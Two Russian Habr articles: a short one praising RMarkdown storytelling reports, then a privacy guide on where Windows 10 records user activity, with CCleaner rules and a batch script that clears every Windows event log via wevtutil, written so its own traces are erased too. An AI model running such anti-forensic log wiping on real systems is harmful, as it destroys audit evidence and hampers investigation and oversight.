Так ли это? По описанию очень сомнительно (похоже на серебряную пулю), а практика дает подтверждение «отнюдь не так».
Является продолжением [серии предыдущих публикаций](https://habrahabr.ru/users/i_shutov/posts/).
Что в реальности
================
В реальности все оказывается совсем по другому. Сразу исключим из рассмотрения настоящих аналитиков, которым этот инструмент может раскрыться в полной мере (остановимся чуть позже). В подавляющем большинстве случаев не нужны менеджерам эти дашборды с сотней ручек. Им нужны ограниченные срезы для решения повседневных задач.
Основными драйверами за BI и дашборды являются **страх и лень** потребителей и, конечно же, материальная заинтересованность производителей этих инструментов.
Страх остаться с данными один на один и невозможностью ответить на какой-либо вопрос. Страх принять решение, а потом не иметь возможности сделать отписку "вам дали что хотели? теперь гоните результат!". Страх пойти по пути, который не отлит в корпоративных стандартах как бетонный монолит. Лень задуматься о истинных потребностях обычных пользователей и альтернативных способах решениях.
Откуда такие утверждения? Дело в том, что отчетные квесты больше похожи на сеансы психотерапии. Каждый раз приходится медленно пробираться через наслоение индуцированных утверждений и убеждений, чтобы добраться до истинной потребности и после этого объяснить ее компьютеру. Последний точно не умеет и не понимает общих слов и смутных ощущений. У него только «0» и «1».
Итак, какие есть существенные выгоды у storytelling отчетов, выполненных на базе технологии RMarkdown. Для ознакомления с возможностями RMarkdown можно проглядеть [галерею](https://rmarkdown.rstudio.com/gallery.html). Далее будем по умолчанию подразумевать **HTML форму отчета**, как наиболее удобную для динамичной работы.
Выгода 1. Предоставление пользователю информации в готовом к употреблению виде
------------------------------------------------------------------------------
Storytelling отчет строится под потребности конкретной группы потребителей. Содержание документа, набор визуальных представлений, порядок подачи материала, поясняющий и связующий текст — все предназначено для того, чтобы пользователь мог читать отчет как книгу. Материал раскрывается подробно, от общего к частному. Можно быстро перейти к нужной главе. Если структура отчета давно знакома, то можно быстро просматривать ключевые точки в известных местах. При этом подача материала устроена таким образом, что нет нужды задавать фильтры, листать менюшки, загружать настройки (как это делают в дашбордах). Машина уже это выполнила на этапе подготовки. Все собрано сразу в готовом к употреблению виде, достаточно лишь скроллить вверх/вниз и брать информацию в работу.
Выгода 2. Полная отвязка от инфраструктурных ограничений
--------------------------------------------------------
В большинстве случаев storytelling отчет нужен по закрытому дню и генерировать его надо один раз в сутки. Оптимальный вариант — ночная offline генерация всех необходимых отчетов для текущего рабочего дня. Классическое окно для генерации — 2:00-7:00. Когда предыдущий день закрыт и переходные процессы закрытия во всех внутренних ИС завершились. Отсюда три существенных плюса:
* offline генерация на серверной стороне позволяет не «заморачиваться» на скорость исполнения. В случае интерактивного анализа отклик должен измеряться десятками миллисекунд, иначе пользователи начинают жаловаться на «торможение» системы. Здесь же мы можем считать секунды. Снижение к требованиям по железу колоссальное.
* можно использовать любой сложности алгоритмы, в т.ч. весь спектр ML инструментов.
* неактуально понятие «лицензия на доступ», нет непредсказуемой конкурентности. планируете задания последовательно-параллельно, опираясь на доступные вам аппаратные средства.
Выгода 3. Полная отвязка отчета от источников данных
----------------------------------------------------
Будучи собранным, storytelling отчет является самодостаточной и законченной сущностью. Это единый html контейнер, который содержит в себе всю необходимую информацию. Отсюда три существенных плюса:
* готовый отчет можно как рассылать пользователям по почте, так и предоставлять доступ через корпоративные порталы. пользователь сможет работать с ним везде — и за пределом корп.сети, и даже в бункере в режиме полного оффлайна.
* отчет — это html файл. тривальными средствами можно обеспечить историческое хранение на любую требуемую глубину со стоимостью, близкой к 0.
* в исторической части хорошо известная проблема, когда отлаженный неизменный отчет нельзя собрать на исторических данных так, как он собирался бы тогда, когда эта дата была. Связано это с изменчивостью данных, изменчивостью ландшафта, эволюцией ИС и систем, динамичностью справочников. В тривиальном случае — оргструктура любой компании динамична и она сегодня не такова, какой была 3 года назад. Обычному отчету никогда не вернуться в прошлое. А storytelling отчет — это след папоротника в известняке.
Выгода 4. Динамическая генерация, основанная на предоставленных данных
----------------------------------------------------------------------
Классический отчет — жестко зафиксированный состав элементов и их форма. В случае со storytelling отчетом можно использовать подходы динамической генерации, когда сама ткань отчета генерируется на основе структуры полученных данных. Тем самым возможна почти любая вариативность, при этом текст отчета остается связным и без пустых мест. Чуть детальнее с кодом можно посмотреть в публикации [«R Markdown. Как сделать отчет в условиях неопределенности?»](https://habr.com/ru/post/507910/).
Также можно параметризировать RMarkdown отчет и получать различные представления на различных данных, используя один и тот же код.
Выгода 5. Динамический контент
------------------------------
Представление html позволяет добавить такой объем динамичности, что пользователь может забыть, что это offline. Включение js виджетов позволяет обеспечить динамичные таблицы, графики. Средствами html и js можно располагать части отчета на закладках, обеспечивать кросснавигацию и оглавление, управлять видимостью объектов. Использование механизмов кросскоммуникации js виджетов позволяет делать связанные обновления элементов. Более конкретно:
* динамические таблицы: [`dt`](https://rstudio.github.io/DT/), [`reactable`](https://glin.github.io/reactable/index.html).
* динамические графики: [`plotly`](https://plotly.com/r/), [`echarts`](https://echarts4r.john-coene.com/index.html), [`highcharter`](https://jkunst.com/highcharter/), [`g2r`](https://g2r.opifex.org/), [`R2D3`](https://rstudio.github.io/r2d3/index.html).
* динамические геокарты: [`leaflet`](https://rstudio.github.io/leaflet/).
* динамическая связка js объектов: [`crosstalk`](https://rstudio.github.io/crosstalk/).
Выгода 6. Безопасный доступ к данным
------------------------------------
Очень часто возникают требования по управлению доступом к данным. Та или иная группа пользователей должна иметь возможность строить отчет только по своему подмножеству. Но весь парадокс в том, что все равно остается ряд показателей, которые считаются по всей компании. И если это делать через self-service bi, то потребуется продумывать как это предоставить. Витрины, кубы, выгрузки или еще что-либо.
В случае с Rmarkdown отчетами пользователи вообще не имеют доступа к данным. Все собирается на сервере с контролируемым полным доступом. А в html фиксируются посчитанные агрегаты в соответствии с ролевой моделью.
Выгода 7. Один источник — масса представлений
---------------------------------------------
RMarkdown позволяет из единого источника делать совершенно различные финальные представления. `html`, `pdf`, `doc`, `pptx`.
Также, технология RMarkdown позволяет делать статические сайты ([`blogdown`](https://bookdown.org/yihui/blogdown/)) и книги ([`bookdown`](https://bookdown.org/)).
Выгода 8. Вся мощь devops для гарантий корректности
---------------------------------------------------
Поскольку Rmarkdown является набором R инструкций, то управление жизненным циклом отчетов получается идентичным управлениею жизненным циклом ПО. Репозиторий, пакетирование, документирование, автотесты, continious integration, code coverage, профилировка узких мест.
Также, RMarkdown отчеты могут самостоятельно на этапе сборки подключаться к любым источникам данных (не обязательно выверенным SQL таблицам) и строить отчет на актуальных в моменте данных.
Выгода 9
--------
Storytelling на RMarkdown — это всего-лишь одна из возможностей. Никто не отменяет последующее развитие в сторону дашбордов (тот же RMarkdown) или полноценных приложений. Но всему свое время.
Выгода 10, X. ......
--------------------
Можно продолжать долго, напишите что для вас является важным. Вероятнее всего это можно будет охватить.
Заключение
==========
Еще один важный комментарий. Для того, чтобы корректно использовать дашборды или self-analytics bi нужно очень-очень хорошо знать структуру данных, которые используются в процессе расчета и визуализации и иметь к ним полный доступ. Данные должны быть чистые, консистентые и рафинированные. Аналитик должен обладать навыками проведения расчетов и проверки результатов. Только так можно получить показатели и картинки, которым как-то можно доверять. В противном случае имеем сплошные «жареные факты» и «желтую прессу». Плюс затраты на такого аналитика никак не середнячковые.
Ну а уж если хочется еще и self-service BI впридачу гламурный, то почему бы не поглядеть на [Exploratory](https://exploratory.io/)?
P.S.
====
По сути, storytelling отчеты являются реализацией давным-давно предложенной Дональдом Кнутом концепции [«литературного программирования»](http://www.literateprogramming.com/). И вся вычислительная мощь только через 30 лет смогла доехать до практической и удобной реализации на базе RMarkdown. Питон так не умеет в настоящий момент.
Алармисты уже не дремлют. Gartner вовсю начал предрекать закат BI в том виде как он есть сейчас. Нет поводов не задуматься:
* [Why James Richardson from Gartner is Right About the End of Self-Serve Analytics](https://narrativescience.com/resource/blog/end-of-self-serve-analytics/)
* [Gartner predicts data storytelling will dominate BI by 2025](https://searchbusinessanalytics.techtarget.com/feature/Gartner-predicts-data-storytelling-will-dominate-BI-by-2025)
* [Data and analytics trends that will loom large in 2021 and beyond](https://hyperight.com/data-and-analytics-trends-that-will-loom-large-in-2021-and-beyond/)
Предыдущая публикация — [«R в руках маркетолога. Делаем когортный анализ своими руками»](https://habr.com/ru/post/555476/). | https://habr.com/ru/post/556390/ | null | ru | null |
# Forensic resistance 1 или Last-икActivityView. Данные об активности пользователя в Windows 10 и как их удалить
Доброго времени прочтения, уважаемые читатели Хабра.
Побуждением к изысканиям, опубликованным в данной статье, стало набирающее все большую и большую популярность слово «форензика» и желание разобраться в вопросе — какие данные о цифровой жизнедеятельности рядового пользователя собирает ОС Windows 10, где их хранит и как сделать кнопку — «Удалить все» (Я бы взял частями, но мне нужно сразу (с) Остап Бендер).
А возникновению данного побуждения способствовало то, что, как оказалось, интерес к вопросу «как удалить историю», выдаваемую эпичной [LastActivityView](http://www.softportal.com/software-27004-lastactivityview.html), до сих пор будоражит умы
при этом, зачастую, на форумах вопрос остается без ответа. Масла в огонь подливает то, что ванильный CCleaner в случае с LastActivityView не помогает.
Те, кому в основном интересна практическая сторона вопроса, насчет кнопки «Удалить все», могут сразу перейти к концу статьи — там предлагаю варианты решения.
А в статье — хочу поделиться результатами этих изысканий с теми, кого это заинтересует. Речь пойдет о тех данных, которые хранятся ОС Windows 10 локально и к которым можно просто и быстро получить доступ с использованием «бесплатных и общедоступных средств форензики», в том числе и [утилит NirSoft](https://www.nirsoft.net/). Хотя речь пойдет не о них (почему — смотреть ниже).
*Сразу хочу оговориться — я не являюсь специалистом в области компьютерной безопасности или криминалистического анализа, не имею криминального опыта или побуждений, мамой клянусь, век воли не видать.*
#### Целевая операционная система
В данной статье рассматривается ОС Windows 10. Другие выпуски Windows, естественно, так же грешны сбором и хранением данных, но у них ключи реестра, папки, службы и т.п. отличаются.
#### Содержание
[Причем тут форензика](#One)
[Почему речь не про NirSoft](#Two)
[Какие данные хранятся Windows](#three)
[Зачем Windows собирает данные и чем чревато их удаление](#four)
[Где эти данные хранятся?](#five)
[Так как, в конце-концов, их затереть-то?](#six)
[Источники](#seven)
#### Причем тут форензика
В статье вопрос касается использования ее методов и средств для доступа к приватным данным пользователя. И, в связи с их распространением и доступностью, вполне вероятно — всуе, доморощенными форензиками-кулцхакерами, троянских дел мастерами и прочими любителями вычислять по IP или легкой наживы, да и просто недружелюбными любопытными, так как для скачивания, запуска и чтениях\сохранения данных, выдаваемых той же LastActivityView, Ниром Софером быть совсем необязательно.
#### Почему речь не про NirSoft
Во «вступлении» я не случайно дал ссылку на LastActivityView на Софт Портале. Там и впрямь только краткое описание функционала данной утилиты, зато на русском. А на офф. страничке своих утилит Нир Софер пишет многабукфф да еще и по-англицки шпрехает. Но, зато, почти для каждой его утилиты там есть описание, откуда она берет данные. Для [LastActivityView](https://www.nirsoft.net/utils/computer_activity_view.html) в самом низу, под заголовком «How to delete the information displayed by LastActivityView».
Надо признать, что я и сам такой же Зоркий Глаз — когда-то, как и он, только через неделю заметил, что «у сарая одной стены нет». Но, правда, сия неделя была несколько раньше, чем LastActivityView стали пугать пользователей или, что вероятнее, когда они добрались до Софт Портала и сами научились ее пугаться.
Хотя утилиты NirSoft, наряду с SysInternals, ИМХО образец профессионализма для программиста и крайне удобны для администрирования. Да и для проведения расследований их и впрямь зачастую рекомендуют. ПруфПример: [Хакер №229. Форензика](https://xakep.ru/issues/xa/229/) и он далеко не единственный.
Хотя, думаю, подобное направление их использования само собой приходило в голову тем, кто так или иначе имел с ними дело.
**А тем, кто не имел, но заинтересовался**Дабы не скачивать их в розницу — можно скачать оптом с бонусом в виде лаунчера [NirSoft Launcher](https://launcher.nirsoft.net/downloads/) (при скачивании обратите внимание, что zip-файл запаролен, пароль есть на этой страничке).
#### Какие данные хранятся Windows
Хранится все, что связанно с доступом к файлам и папкам и их местоположением, использованием программ (в т.ч. и protable), подключением устройств хранения информации (в том числе и шифрованных файловых контейнеров).
Да, это не во всех случаях, что-то сохраняется только при определенных событиях, а что-то может быть отключено, но лучше, все же, исходить из того, что все и всегда. Что подключали, какие папки-файлы открывали, какие программы использовали.
И еще из того, что с журналами Windows — непредсказуемо, что туда будет записано. В связи хотя бы с тем, что это сильно зависит и от конкретных настроек конкретной ОС и каждой ее подсистемы, и журналы эти доступны для записи в них сообщений сторонними программами.
А причем тут «доступ» и «местоположение»? Сильно утрированный пример: номер банковской карты и ее pin-код так и останутся в файле «D:\МояСуперСекретнаяПапка\CardPin.docx», никуда в Windows не запишутся, а вот факт доступа и «говорящие» имена папки и файла, то, что был использован, например, MS Office 2007 portable, а так же дата-время как минимум последнего (иногда и каждого) доступа\запуска — зафиксируется Windows, причем размазано тонким слоем по всей системе.
Про некоторые другие данные — можете почитать ниже по тексту, под заголовком «Прочие источники утечек информации известные мне, но не попадающие под тематику статьи»
Стало быть, коль подключали, запускали, открывали что-то такое, что не хотелось бы, чтоб стало достоянием широкой общественности — не худо бы потом и следы замести.
*Совершенно справедливый комментарий от Hanabishi — «Зато тема реального логгирования не затронута вообще никак… не упоминается ничего относящегося к телеметрии и Win10 в частности»* — прошу прощения, толком не описал, что речь в статье идет о приватных данных, хранящихся локально, на ПК пользователей. Вопросы слежки, как и вопросы анонимности в сети, все-таки другая, отдельная тема.
#### Зачем Windows собирает данные и чем чревато их удаление
Большинство данных Windows собирает для удобства пользователя — например, для ускорения запуска приложений, для отображения папок в проводнике с теми настройками, которые задал пользователь, отображения списка ранее открытых файлов и т.д. и т.п. Затереть только данные, не лишившись при этом удобств — не получится.
Так же, часть данных собирается для оценки производительности и состояния компьютера и ОС (в том числе о сбоях и ошибках) IT-специалистами и специализированным ПО для решения возникающих у пользователя проблем. Без этих данных — решить проблемы, если они возникнут, будет сложно.
И все это еще один повод задуматься над вопросом, когда действительно необходимо стирать данные, а когда не стоит и может быть не надо стирать их огулом при каждом включении-выключении компа.
*Совершенно справедливый комментарий от Hanabishi — «зачем чистить логи служб, если можно просто отключить эти самые службы?»* Не упомянул я об этом. Можно. Как штатными средствами, так и танцами с бубном. Но это опять же означает — раз и навсегда лишиться удобняшек, которые наше все.
**Что мне будет от Винды за масштабное выпиливание приватных данных, в том числе, с помощью предложенного тут решения?**
Эпик фейлов случиться не должно, особенно если внимательно познакомиться с описанием каждого правила «очистки» и, если что, его отключить. Но и новой шапки, с новой буркой, тоже ждать не приходится.
* Если предполагаются какие-то «ремонтно-восстановительные» работы, то сотрется важная для этого информация. Но это касается, в основном, стирания журналов Windows
* Если отображение каких-то папок настраивали под себя, придется настраивать по новой
* Если задавали каким-либо программам режим совместимости или запуск от имени администратора, задавать придется заново
* Ввиду затирания данных, необходимых для ускорения доступа к данным, их отображения и запуска программ, следующий, после затирания, доступ\отображение\запуск, немного замедлится
* Ввиду затирания данных об открытых ранее файлах, искать их придется заново, воспользоваться пунктом меню «ранее открытые файлы» в программах не получится
* Если выбрать удаление кеша обновлений Windows, деинсталировать потом обновления штатным образом не удастся
#### Где эти данные хранятся?
После заявленных во вступлении «изысканий» и сверки свежеизысканного с окружающей действительностью у меня сложилось впечатление, что ~~кроме IBM-286 уже успели еще что-то изобрести~~ основные «заповедные места» не поменялись еще со времен XP, разве что местоположение и формат некоторых изменились. И кое-что добавилось, но, вроде бы, немного. Посему поэтому уверен, что Америк не открою, тем более специалистам, но может быть кого-то заинтересует эта подборка, в связи с подъемом интереса к вопросам анонимности и безопасности.
Сразу хочу предупредить — это далеко не все, только самое основное и информативное (в смысле описания не все, стирается в предложенном решении гораздо больше) и не развернуто и «галопом по Eвропам». Для тех, кому данная тема действительно интересна, в конце этой главы — известные мне интересные материалы для самостоятельного изучения + ряд конкретных «заповедных мест» приведены в решениях для их зачистики.
**Основные, известные мне, источники утечек информации об активности пользователя**
**Реестр Windows*** ShellBags — Bags, BagMRU. Там в том числе хранится и информация о доступе к папкам, включая дату-время, для сохранения и восстановления их с настройками пользователя (размер окна проводника, выбор отображения «список\эскизы» и т.п.).
* OpenSavePidlMRU. История диалогов «открыть, сохранить».
* MUICache. История запущенных ранее программ для списка кнопки «Пуск».
* Uninstall. Хранится информация для деинсталляции инсталлированных программ. Спасибо КЭП — не за что, всегда рад помочь. Удалять ее, понятное дело, нельзя (спасибо еще раз). Содержит и дату-время установки программы.
* MountedDevices. История смонтированных (в том числе и криптованных) дисков.
Служба Background Activity Moderator (BAM). Очередная нанотехнология от Microsoft — запиленная в Windows 10 начиная, если не ошибаюсь, с [версии 1709](http://batcmd.com/windows/10/services/bam/) для каких-то своих внутренних нужд.
Данная служба ведет логи активности, правда, хранятся эти логи до перезагрузки компьютера (что подтвердилось проверкой), но все же не комильфо.
```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bam\UserSettings\
```
Особо умилили результаты такого эксперимента: запускаем любимый многими TrueCrypt (protable), монтируем файл-контейнер, запускаем из него LastActivityView.
Видим в реестре запись:
То есть, теоретически, после запуска таких портабельных утилит, надо бы или перезагружаться или затирать.
Пытаться отключить службу BAM — не стоит, словите синий экран.
История «монтирования» дисков MountPoints2 (тоже содержит записи типа «TrueCryptVolumeK»)
```
HKEY_USERS\\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2
```
Параметр AppCompatCache ключа реестра AppCompatCache, тоже крайне интересен (хранит данные в бинарном виде).
Ключ реестра DiagnosedApplications. Почему-то нигде на форензик-форумах мне потом не встретилось упоминание (возможно, просто плохо искал) ключа реестра:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RADAR\HeapLeakDetection\DiagnosedApplications
```
Служебная информация Windows для отладки утечек памяти в программах.
**Файловая система*** Папка Prefetch каталога Windows. Ну, тут лучше [Вики](https://ru.wikipedia.org/wiki/Prefetcher) вряд ли скажешь. Там же есть еще и базы данных другого оптимизатора — SuperFetch (файлы, типа AgAppLaunch.db). Формат их, как я понял, народу пока не ясен, мне тоже не особо, но при просмотре в hex-редакторе пути к приложениям просматриваются.
* Файл
```
C:\Windows\inf\setupapi.dev.log
```
Инофрмация о подключениях устройств, сетевых интерфейсов и не только.
* Папки проводника со списком переходов (aka Jump list). Данные хранятся по пути типа:
```
с:\Users\User\AppData\Roaming\Microsoft\Windows\Recent
```
* Папка (см. реестр — AppCompatCache)
```
C:\Windows\appcompat\Programs
```
* Папка
```
C:\Windows\Panther
```
Тут хранится информация для отката, если вы обновляли версию Windows
Журналы Windows: ну, тут без комментариев… даже совершенно справедливых.
Есть еще несколько мест в реестре и на диске, но они гораздо менее информативны и не очень интересны (см. в «решениях», ниже). И есть еще море других мест, навроде файлов "\*.log" разных служб и даже не всегда Microsoft. Правда, обнадеживает то, что CCleaner на стероидах (см. ниже) затирается почти все.
**Прочие источники утечек информации** известные мне, но не попадающие под тематику статьи по тем или иным причинам. И тут тоже надо отметить, что почти все затирается CCleaner-ом или имеются другие свободно распространяемые утилиты.
**Перечень таковых**1. Все, что связанно с сетью и Интернетом (это не входит в данную статью о «локально» хранимых историях). Но с этим справляются CCleaner и [Privazer](http://www.softportal.com/software-31108-privazer.html). Тут же надо отмеить, что у CCleaner-а на стероидах, из решений в конце статьи, способности к этому повышаются в разы.
2. Все, что связанно с историей подключением USB-девайсов. Для ее просмотра и удаления можно использовать, например, [Usboblivion](http://usboblivion.ru/).
3. Все, что связанно с файловой системой. «Безвозвратное» удаление файлов и очистка свободного места (то же «безвозвратное удаление», но уже ранее удаленных файлов, оставшихся в дебрях файловой системы). В общем вопросы, связанны с тем, что удаленные файлы можно восстановить. Заодно надо упомянуть и про кэши эскизов изображений Windows, которые имеют свойство хранить эскизы даже уже удаленных изображений. CCleaner и Privazer это тоже умеют все зачищать.
4. Все, что связанно с точками восстановления («теневыми копиями»), в которых сохраняется файлы, в том числе и системный реестр с незатертыми данными. Подключиться, просмотреть и восстановить из них файлы\папки (не делая откаты системы) можно и с помощью утилит NirSoft (так же с их помощь можно и прочитать информацию из файлов реестра оттуда), но, удобнее, на мой взгляд — [ShadowExplorer](https://shadowexplorer.com/downloads.html). Удалить точки восстановления можно с помощью CCleaner. А перед созданием точек — можно запускать «зачистку», чтоб выпилить ненужную информацию до ее сохранения.
5. Вот эта ветка реестра.
```
HKEY_USERS\\Software
```
Сюда пишут свои данные программы, в том числе portable. И они тут и остаются. И если хочется скрыть использование какой-то программы, то неплохо бы проверить эту ветку и, если что, данные удалить.
6. Все, что связанно с установкой нелицензионного ПО и что извлекается на свет Божий полицейской программой [Defacto](http://www.defacto-com.ru/). Есть и «свободный аналог» [Lpro](http://soft.oszone.net/program/17374/Lpro_Proverka_litzenzij_programm) (хотя, есть у меня не очень обоснованное предположение, что движок Defacto на ее основе или на ее идее был сделан). Но она, в отличии от Defacto, определяет только, что ПО платное, а не «нарушение авторских и смежных прав».
Выход, ИМХО — не использовать подобное. Кроме всем известного Софт Портала по этой теме могу еще предложить (если что, это не реклама, отношения к данным сайтам я не имею):
— [GiveAwayOfTheDay](https://ru.giveawayoftheday.com/). Каждый день раздают одну лицензионную программу (можно подписаться на рассылку).
— [Бесплатные лицензии на сайте COMSS](https://www.comss.ru/list.php?c=club). Бесплатное (по разным акциям) лицензионное ПО и подписки. Как пример — там есть сейчас акция бесплатного VPN на год. И удобный редактор реестра из Reg Organizer, который я использовал для изысканий. И даже Acronis True Image и криптованное облачное хранилище на 2Тб и еще много чего. «Сколько?» — «Халява, сэр» (с). (можно подписаться на рассылку; не бородатых анекдотов, в смысле, а этого сайта).
**Материалы по данной тематике, кроме «источников» в конце статьи**
**Список материалов*** Научная статья: [Некоторые особенности судебно-экспертного исследования реестра Windows](https://cyberleninka.ru/article/n/nekotorye-osobennosti-sudebno-ekspertnogo-issledovaniya-reestra-windows) (очень рекомендую, в т.ч. и пользователям)
* [Статьи на ForensicFocus (анг.)](https://www.forensicfocus.com/News/page=3/)
* [SANS Digital Forensics (анг.)](https://digital-forensics.sans.org/blog)
* Литература:
* «Внутреннее устройство Windows», Руссинович Марк, 7-е издание
* «Криминалистический анализ файловых систем», Кэрриэ Брайан
* «Криминалистическое исследование Windows», Карви Харлэн
* «Форензика — компьютерная криминалистика», Федотов Н.Н.
* На Habr, о профессиональных средствах форензики:
* [Средства сбора данных в компьютерно-технической экспертизе](https://habr.com/post/283036/)
* [Подборка бесплатных утилит компьютерной криминалистики](https://habr.com/company/pentestit/blog/346910/)
* Для программистов:
* Парсинг ряда форматов forensic-данных на C# можно попробовать посмотреть тут: [EricZimmerman github](https://github.com/EricZimmerman?tab=repositories)
* Почитать о прасинге ShellBag [можно тут](http://www.williballenthin.com/forensics/shellbags/index.html)
#### Так как, в конце-концов, их затереть-то?
Предлагаю на рассмотрение и критику следующий вариант: Прокачать CCleaner (что, думаю, и удобнее пользователям и правовернее, ибо исключает изобретение очередного велосипеда) и
использовать bat-файл для затирания журналов windows.
Плюс, ниже — собственное решение, в виде bat-файла, но его, все-таки, использовать даже по-моему, не целесообразно (тем более он затирает только самое основное и в основном для windows 10). Разве что -предлагаю почитать комментарии к коду.
#### *Прокачать CCleaner + добавить ему свои правила + bat-файл для стирания журналов Windows*
Для начала, надо скачивать и запустить [CCEnhancer](https://vellisa.ru/ccenhancer-rasshirenie-funktsionalnosti-ccleaner), выполнить «обновление» (по инструкции на страничке). Только непременно выбрать и нажать на данный пункт меню (предварительно закрыв CCleaner, если он запустился):
Иначе в файле winapp2.ini окажется 100500 правил, крайне доставляющих своей актуальностью для широких масс, таких, как правила очистки для эмулятора «Заики Спектрума» (может тут кто даже вспомнит такой комп), но при этом сильно тормозящих CCleaner.
Затем надо перейти в ту папку, где установлен CCleaner. Найти там файл winapp2.ini, поздравить его с облегчением и открыть (например, в nodepad++).
**Дописать в конце файла следующее:**
```
[All Prefetch]
Section=Windows10
Default=False
FileKey1=%WinDir%\Prefetch|*.pf;*.db;*.fx;*.7db;*.ini;*.ebd;*.bin|RECURSE
[AppCompatFlags Layer]
Section=Windows10
Default=False
RegKey1=HKCU\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
[Explorer RunMRU]
Section=Windows10
Default=True
RegKey1=HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
[OpenSaveFilesView]
Section=Windows10
Default=True
RegKey1=HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\FirstFolder
RegKey2=HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\FirstFolder
RegKey3=HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRULegacy
RegKey4=HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU
[UserAssist]
Section=Windows10
Default=True
RegKey1=HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist
[DiagnosedApplications]
Section=Windows10
Default=False
RegKey1=HKLM\SOFTWARE\Microsoft\RADAR\HeapLeakDetection\DiagnosedApplications
[BAM]
Section=Windows10
Default=True
RegKey1=HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings\.DEFAULT
RegKey2=HKLM\SYSTEM\ControlSet001\Services\bam\UserSettings\.DEFAULT
[MountedDevices]
Section=Windows10
Default=True
RegKey1=HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2
[Panther]
Section=Windows10
Default=True
FileKey1=%WinDir%\Panther|*.*|RECURSE
[Minidump]
Section=Windows10
Default=True
FileKey1=%WinDir%\Minidump|*.*
```
Сохранить файл.
**Созадние bat-файла для очистки всех журналов Windows:****1.** Нужно создать на компьютере текстовый файл, например с помощью nodepad++, в кодировке OEM 866 (DOS) (иначе, вместо русских букв, могут быть кракозябры). Скопировать в него текст и сохранить. Переименовать файл, заменив расширение .txt на .bat
**2.** Запускать его необходимо от имени администратора (иначе выдаст ошибку «Необходимо запустить этот скрипт от имени администратора»).
```
REM Last-ик ActivityView. Очистка журналов Windows
@ECHO OFF
REM Надеюсь, сохранить файл в кодировке DOS-866 не забыли
CHCP 866
COLOR A
CLS
REM ----------------------------------------------------------------------------------------
REM Проверка на наличие прав администратора
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Отказано) GOTO errNoAdmin
IF (%adminTest%)==(Access) GOTO errNoAdmin
REM ----------------------------------------------------------------------------------------
ECHO Нажимте 1 для очистки журналов или ENTER для выхода
ECHO.
SET /p doset="Выберите действие: "
ECHO.
REM ----------------------------------------------------------------------------------------
REM ----------------------------------------------------------------------------------------
REM Проверка выбора пользователя. Если не 1 - выход
IF %doset% NEQ 1 EXIT
REM ------------------------------------------------------------------------------------------
REM Очистка всех журналов Windows. Следует проводить вначале, до запуска CCleaner, чтоб в логах не осталось вызовов wevtutil
ECHO.
ECHO ОЧИСТКА ВСЕХ ЖУРНАЛОВ Windows
FOR /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
ECHO.
ECHO Выполнено
ECHO.
REM ------------------------------------------------------------------------------------------
PAUSE
EXIT
:do_clear
ECHO Очистка журнала %1
wevtutil.exe cl %1
GOTO :eof
:errNoAdmin
COLOR 4
ECHO Необходимо запустить этот скрипт от имени администратора
ECHO.
PAUSE
```
На всякий случай, перед первым запуском, надо создать точку восстановления
Можно дополнительно почитать развернутое и понятное описание всех основных правил CCleaner-а и последствий их применения, [тут](https://irecommend.ru/content/gde-stavit-galochki) (рус.)
Запустить bat-файл. Дождаться, пока закончит работу.
Открыть ССleaner, перейти в нем в «Очистку».
**Выбрать следующие правила**На вкладке «Windows»
На вкладке «Приложения»
Если используете FireFox и Thunderbird, предлагаю использовать следующие правила:
При этом необходимо учесть, что для FireFox — сотрутся сохраненные пароли к сайтам (придется вводить заново, при входе на сайт). Но можно снять галочку с правила «сохраненные пароли».
Выполнить очистку.
#### *2 вариант — Использовать bat-файл*
**Инструкция**Это альфа-версия и, теоретически, может что-то таки сломать, так что используем на свой страх и риск. Первый раз, перед запуском, сделав точку восстановления системы.
**1.** Необходимо создать на компьютере текстовый файл, например с помощью nodepad++, в кодировке OEM 866 (DOS) (иначе, вместо русских букв, могут быть кракозябры). Скопировать в него текст и сохранить, переименовав файл, заменив расширение .txt на .bat
**2.** Внимательно ознакомится с комментариями к его коду (т.к. там описаны и отрицательные моменты, связанные с затиранием)
**3.** Запустить его от имени администратора (иначе выдаст ошибку «Необходимо запустить этот скрипт от имени администратора»).
**4.** Если каких-то ключей реестра или папок нет, скрипт должен это действие пропустить.
(это не ошибки, это не найдено и пропущено)
**Текст bat-файла**Прощу прощения, подсветки batch-файлов не нашел.
```
REM Last-ик ActivityView. Версия 1 Alpha
@ECHO OFF
REM Надеюсь, сохранить файл в кодировке DOS-866 не забыли
CHCP 866
REM Зеленый на черном - интригующе... опять же, хакеры и все такое
COLOR A
CLS
REM ----------------------------------------------------------------------------------------
REM Проверка на наличие прав администратора
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Отказано) GOTO errNoAdmin
IF (%adminTest%)==(Access) GOTO errNoAdmin
REM ----------------------------------------------------------------------------------------
REM !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
REM При выборе пункта 1 ничего особо плохого произойти, для пользователя, не должно.
REM Но будут удалены сохраненные данные о размерах окон папок в проводнике и настройки их вида (список\эскизы и т.д.)
REM При выборе п.п. 2-3
REM 1. При первой перезагрузке чуть-чуть замедлится запуск Windows т.е. первый, после нее, запуск некоторых программ (в т.ч. в автозагрузке)
REM из-за удаления файлов оптимизации запуска Prefetch и SuperFetch
REM 2. Будет удалена информация о запуске программ в режиме совместимости или о запуске от имени администратора
REM но это - если пользователь такое назначал для чего-то и восстанавливается назначением этого заново
REM или найдите и уберите из скрипта удаление данных из ...AppCompatFlags\Layers
REM 3. Будет удалена накопленная до этого момента информация о производительности и ошибках
